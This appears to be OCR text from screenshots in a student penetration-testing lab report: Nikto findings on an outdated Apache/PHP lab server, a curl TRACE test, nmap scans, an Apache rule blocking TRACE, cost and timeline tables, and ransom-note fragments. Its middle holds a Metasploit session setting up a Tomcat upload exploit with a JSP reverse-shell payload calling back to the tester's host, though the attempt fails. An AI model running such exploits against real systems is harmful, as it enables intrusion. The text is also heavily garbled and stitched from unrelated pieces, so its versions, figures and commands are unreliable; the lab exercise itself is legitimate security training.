+ /: Server may leak inodes via ETags, header found with file /, inode: 83842
2, size: 588, mtime: Sun Nov 2 13:20:24 2014. See: http://cve.mitre.org/cgi-
bin/cvename. cgiZname=CVE-2003-1418

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https:
//developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

+ /: The X-Content-Type-Options header is not set. This could allow the user
agent to render the content of the site in a different fashion to the MIME ty
pe. See: https://wm.netsparker.con/web-vulnerability-scanner/vulnerabilities
/missing-content-type-header/

+ No CGI Directories found (use '~C all' to force check all possible dirs)

+ /crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossm
an.blogspot . com/2008/05/crossdonainxml-invites-cross-site.html

+ mod_ss1/2.2.8 appears to be outdated (current is at least 2.9.6) (may depen
d on server version).

+ OpensSL/0.9.8¢ appears to be outdated (current is at least 3.0.7). OpenSSL
1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ PHP/5.2.4-2ubuntu5 appears to be outdated (current is at least 8.1.5), PHP
7.4.28 for the 7.4 branch.

+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Ap
ache 2.2.34 is the EOL for the 2.x branch.

+ /index: Uncommon header 'tcn' found, with contents: list.

+ /index: Apache mod_negotiation is enabled with MultiViews, which allows att
ackers to easily brute force file names. The following alternatives for 'inde
x' were found: index.bak, index.html. See: http://wm.wisec.it/sectou.php?id
4698ebdc59d15, https: //exchange. xforce. ibmcloud. com/vulnerabilities/8275

+ mod_ss1/2.2.8 OpenssL/0.9.8¢ - mod_ssl 2.8.7 and lower are vulnerable to a
remote buffer overflow which may allow a remote shell.

+ PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support.

+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .

+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST
. See: https://owasp.org/wmi-comunity/attacks/Cross_Site_Tracing
/server-status: This reveals Apache information. Comment out appropriate 1i
ne in the Apache conf file or restrict access to allowed sources. See: OSVDB-

*





image15.png
Outdated Apache

Outdated OpenSSL

ETag Header Leak

Missing X-Frame-
Options Header

TRACE Method

PHP Version
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Directory
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‘The Apache server version (2.2.8) is outdated, as the
current version should be at least 2.4.54.

‘The OpenSSL version (09.89)is outdated, as the.
current version should be at least 10.2or 111.

‘Server may leak inode via ETags, header found with
file /,inode.

‘The X:-Frame-Options header is not set, which allows.
the user agent to render the content of the siteina.
different frame, potentially making it susceptible to
clickjacking.

HTTP TRACE method is enabled, which can be used
10 perform XST (Cross-Site Tracing) attacks.

‘The PHP version (5.2.4) is outdated, as the current
‘version should be at least 747 or higher.
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2sh: corrupt history file /home/kali/.zsh_history
[LUati®kati)-[~]
$ curl -X TRACE i http://10.38.1.116
HTTP/1.1 200 0K
Date: Wed, 01 May 2024 17:44:14 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with
Suhosin-Patch mod_ss1/2.2.8 OpenssL/0.9.8g
Transfer-Encoding: chunked
Content-Type: message/http

TRACE / HTTP/1.1
Host: 10.38.1.116
User-Agent: curl/7.88.1
Accept: /%

(kali® kali)-[~]
[ |

=
1€ quieter you Decome, the mOre you are able to hear
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1sF6 > exploit/multi/http/toncat_jsp_upload_bypass
| Unknown command: exploit/multi/http/tomcat_jsp_upload_bypass
rhis is a module we can load. Do you want to use exploit/multi/http/tomcat_jsp_upload_bypass?
/N1y

No payload configured, defaulting to generic/shell_reverse_tcp
sf6 exploit(nulti/http/toncat_jsp_upload_bypass) > [l

20:13
o1/05/2024 B
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t(nulti/http/toncat_jsp_upload_bypass) > set PASSWORD lara
wn datas option: PASSWORD. Did you mean HttpPa:
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msf6_exploit(
RHOSTS = 10.38.1.116
msf6_exploit(
RPORT = 8080
exploit(

USERNAME = lara
exploit(

PASSWORD = lara
nsfe exploit(

payload = java/jsp_shell_reverse_tcp
nsf exploit(

LHOST = 10.38.1.113

nsf exploit(

LPORT = 8080

nsfe exploit(

) > set RHOSTS 10.38.1.116
) > set RPORT 8080

) > set USERNAME lara

Unknown datastore option: USERNAME. Did you mean HttpUsername?

) > set PASSWORD lara

Unknown datastore option: PASSWORD. Did you mean HttpPassword?

) > set payload java/jsp_shell_reverse_tcp
) > set LHOST 10.38.1.113

) > set LPORT 8080

Y |
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msf6 exploit( ) > exploit
Started reverse TCP handler on 10.38.1.113:8080
Uploading payload ..
Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
Exploit completed, but no session was created
msf6 exploit( ) > check

10.38.1.116:8080 - The target is not exploitable
msf6 exploit( Y |
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L$ nmap -sV -0 10.0.2.15
TCP/IP fingerprinting (for 05 scan) requires root privileges.

QUITTING!

[(ati®kati)-[~]

$ sudo nmap -sV -0 10.0.2.15

[sudo] password for kali

Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 19:52 EDT

Nmap scan report for 10.0.2.15
Host is up (0.000038s latency).

AUL 1000 scanned ports on 10.0.2.15 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

Too many fingerprints match this host to give specific 05 details
Network Distance: 0 hops

05 and Service detection performed. Please report any incorrect results at ht

tps: //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds
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$ nmap -sV -T4 10.0.2.15

Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 19:06 EDT
Nmap scan report for 10.0.2.15

Host is up (0.00010s latency).

ALl 1000 scanned ports on 10.0.2.15 are in ignored states.

Not shown: 1000 closed tcp ports (conn-refused)

Service detection performed. Please report any incorrect results at https://n

map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
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tarting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 1250 EDT

rror #487: Your port specifications are illegal. Example of proper form: "-
00, 200-1024, T:3000-4000,U:60000-"

JITTING!

—(ro0t )~ [ /home/kali]

- sudo nmap ~sV -p 10.0.2.15

carting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 12:50 EDT

rror #487: Your port specifications are illegal. Example of proper form: "-
00, 200-1024, T:3000-4000,U:60000-"

JITTING!

—(ro0t )~ [ /home/kali ]

- sudo nmap -sV -p 21 10.0.2.15

carting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 12:50 EDT
wap scan report for 10.0.2.15

st is up (0.00011s latency).

RT  STATE  SERVICE VERSION
1/tcp closed ftp

ervice detection performed. Please report any incorrect results at https://n
ap. org/submit/ .
1ap done: 1 IP address (1 host up) scanned in 0.32 seconds

—(root® kali)-I/home/kalil




image28.png
apache

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ~TRACE
RewziteRule .* - [F]
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Endpoint Security Costs
Total Initial Cost

Total Annual Cost

Description
Firewalls, servers, networking equipment

Check Point licenses, operating systems
Professional services for setup and configuration
Maintenance, support contracts, software updates
Endpoint protection for 50 machines

Includes all hardware and initial service fees

Annual ongoing software and maintenance costs

Estimated Cost
$65,000
$10,000 annually
$15000

$7500 annually
$3,000 annually
$80,000
$20500
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Weeks 5-8
Weeks 912
Quarterly

Annually

Tasks
Assessment, vendor selection, procurement
Hardware setup, system installation, configuration
Training, go-live, post-implementation review
Maintenance checks, updates, and audits

Comprehensive review, renewals, strategic planning
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Your data are stolen and encrypted

The data will be published on TOR website
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Decryption ID: 3
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